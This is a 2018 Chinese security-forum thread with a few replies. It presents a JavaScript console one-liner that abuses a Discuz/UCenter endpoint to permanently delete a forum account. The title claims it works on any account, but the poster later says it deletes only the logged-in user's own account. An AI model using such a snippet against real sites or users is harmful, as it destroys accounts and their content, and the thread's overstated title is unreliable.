想要成为无论多么悲伤的时候,也能够漂亮微笑的人吧。 每日签到 收藏本站
登陆 / 注册 搜索

USERCENTER


查看:7852   回复: 4

[网络安全] 删除任意 discuz 论坛的账号漏洞

[复制链接]
发新帖
跳转到指定楼层
楼主
小执念古黑浩劫论坛大牛 发表于 2018-10-21 20:25:39 | 只看该作者 |只看大图 回帖奖励 |倒序浏览 |阅读模式

当我到达高处,便发觉自己总是孤独的,我在高处究竟意欲何为?

测试了一下,适用于所有版本的discuz程序,包括最新版!
漏洞说明:

1、执行后,如果显示大于 0 的整数,说明帐号删除成功。
2、删除的是 UCenter 内的帐号,UCenter 会通知 Discuz! 删除用户帐号。
3、通知可能出现延迟,或不成功。因此可能不会立即登出网站
4、如果通知最终成功,该帐号及其所有帖子都会从 Discuz! 中删除。
5、如果通知不成功,帐号登出后也将无法登录。此时可以注册一个新的同名帐号,覆盖原帐号。原帐号信息将被删除,其帖子将无法阅读(但不会删除)。


没有后悔药,自己其他网站的账号请不要胡乱操作!


步骤:F12 --> 在 Console 中输入:


location.href=((d=(await(await fetch("./home.php?mod=spacecp&ac=avatar",{credentials:'include'})).text()).match(/\/\/\S+\/images\/ca\S+&ag/g)[0].replace('images/camera.swf?','?m=user&a=delete&'))&&confirm('真的要[永久]删除你的ID?'))?d:'';

然后按下回车:



 QQ截图20181021201954.png 删除任意 discuz 论坛的账号漏洞

浏览器会提示:


 QQ截图20181021201941.png 删除任意 discuz 论坛的账号漏洞


因为我自己加了 WAF 防御规则,所以这个漏洞在古黑被拦截下来了:


 QQ截图20181021202052.png 删除任意 discuz 论坛的账号漏洞

楼主| 小执念古黑浩劫论坛大牛 发表于 2018-10-21 20:26:22 | 只看该作者
只能删除当前登陆的账号!
站在记忆的边缘「出类拔萃」 发表于 2018-10-23 19:42:41 来自手机 | 只看该作者
鼎力支持!!
xjh「初入古黑」 发表于 2018-10-24 15:51:11 | 只看该作者
支持
流星☆坠落「出类拔萃」 发表于 2018-10-24 19:16:43 来自手机 | 只看该作者
元芳你怎么看?
您需要登录后才可以回帖 登录 | 立即注册  

本版积分规则

关于我们|小黑屋|手机版|Archiver|古黑论

GMT+8, 2019-7-22 16:34 , Processed in 0.087606 second(s), 42 queries , Redis On.

© 2015-2019 GuHei.Net

Powered by Discuz! X3.4

快速回复 返回列表